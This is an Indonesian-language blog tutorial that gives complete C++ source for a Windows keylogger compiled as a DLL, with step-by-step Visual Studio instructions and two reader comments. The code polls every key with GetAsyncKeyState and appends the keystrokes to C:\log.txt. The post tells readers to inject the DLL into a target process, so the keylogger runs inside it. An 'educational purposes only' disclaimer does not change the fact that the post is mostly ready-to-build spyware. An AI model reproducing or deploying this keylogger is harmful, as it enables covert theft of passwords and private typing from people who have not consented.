Source dan Tutorial ini akan mengajarkan Anda untuk membuat keylogger di c + + menggunakan vs 2008 /2010
keylogger menyimpan log dari tombol yang ditekan pada HDD.
dengan menginject *dll terlebih dahulu ke processes target
Catatan:
Source dan Tutorial ini adalah untuk tujuan pendidikan saja.
Hanya meletakkan keylogger pada komputer dimana Anda mendapat izin.
langsung aja ke TKP
Pertama kita perlu membuat sebuah proyek baru.
Klik pada 'File' > 'New' > 'Project'
Sekarang pilih 'Visual C++"dan pilih "Empty Project"
untuk nama suka suka agan,, misal "Keylogger"
Anda telah memiliki proyek kosong sekarang.
Sekarang kita akan menambahkan sebuah file. Cpp.
Klik kanan pada 'Source File' dan mengambil 'Add' 'New Item'>.
Sekarang mengambil 'C + + File (cpp.) , berinama "cMain.cpp" atau suka suka agan.
kemudian klik 'Add'.
Sekarang paste kan Source dibawah ini ke "cMain.cpp"
----------------------------------------------------------------------
/*
Original Source by lolepro
Date 10-11-2011 02:30 AM
*/
#include <windows.h>
#include <Winuser.h>
#include <string>
#include <fstream>
std::string GetKey(int Key)
{
std::string KeyString = "";
if (Key == 8)
KeyString = "[delete]";
else if (Key == 13)
KeyString = "\n";
else if (Key == 32)
KeyString = " ";
else if (Key == VK_PAUSE)
KeyString = "[PAUSE]";
else if (Key == VK_CAPITAL)
KeyString = "[CAPITAL]";
else if (Key == VK_SHIFT)
KeyString = "[SHIFT]";
else if (Key == VK_TAB)
KeyString = "[TAB]";
else if (Key == VK_CONTROL)
KeyString = "[CTRL]";
else if (Key == VK_ESCAPE)
KeyString = "[ESCAPE]";
else if (Key == VK_END)
KeyString = "[END]";
else if (Key == VK_HOME)
KeyString = "[HOME]";
else if (Key == VK_LEFT)
KeyString = "[left]";
else if (Key == VK_RIGHT)
KeyString = "[right]";
else if (Key == VK_UP)
KeyString = "[UP]";
else if (Key == VK_DOWN)
KeyString = "[DOWN]";
else if (Key == VK_SNAPSHOT)
KeyString = "[PRINTSCREEN]";
else if (Key == VK_NUMLOCK)
KeyString = "[NUMLOCK]";
else if (Key == 190 || Key == 110)
KeyString = ".";
else if (Key >=96 && Key <= 105)
KeyString = Key-48;
else if (Key > 47 && Key < 60)
KeyString = Key;
if (Key != VK_LBUTTON || Key != VK_RBUTTON)
{
if (Key > 64 && Key < 91)
{
if (GetKeyState(VK_CAPITAL))
KeyString = Key;
else
{
Key = Key + 32;
KeyString = Key;
}
}
}
return KeyString;
}
int main()
{
std::string Filename = "C:\\log.txt";
std::string TempString = "";
std::fstream FStream;
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
while(true)
{
Sleep(5);
for(int i = 8; i < 191; i++)
{
if(GetAsyncKeyState(i)&1 ==1)
{
TempString = GetKey (i);
FStream.write(TempString.c_str(), TempString.size());
FStream.close();
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
}
}
}
}
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpvReserved)
{
if(dwReason == DLL_PROCESS_ATTACH) {
Beep(100,1000);
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)main, NULL, NULL, NULL);
}
else if(dwReason == DLL_PROCESS_DETACH) {
}
return TRUE;
}
----------------------------------------------------------------------
sebelum di build rubah builder ke release terlebih dahulu.
configurasi type .dll (Dinamic Link Library)
untuk medapatkan hasil log nya,,
Inject terlebih dahulu ke Processes target
untuk log nya tersimpan di "C:\\log.txt"
keylogger akan menghasilkan log selama Processes Target berjalan..
Happi coding
OM kalau bikin Key Logger Online gimana?
ReplyDeleteC:\\log.txt
ReplyDeleteDimana Letak nya??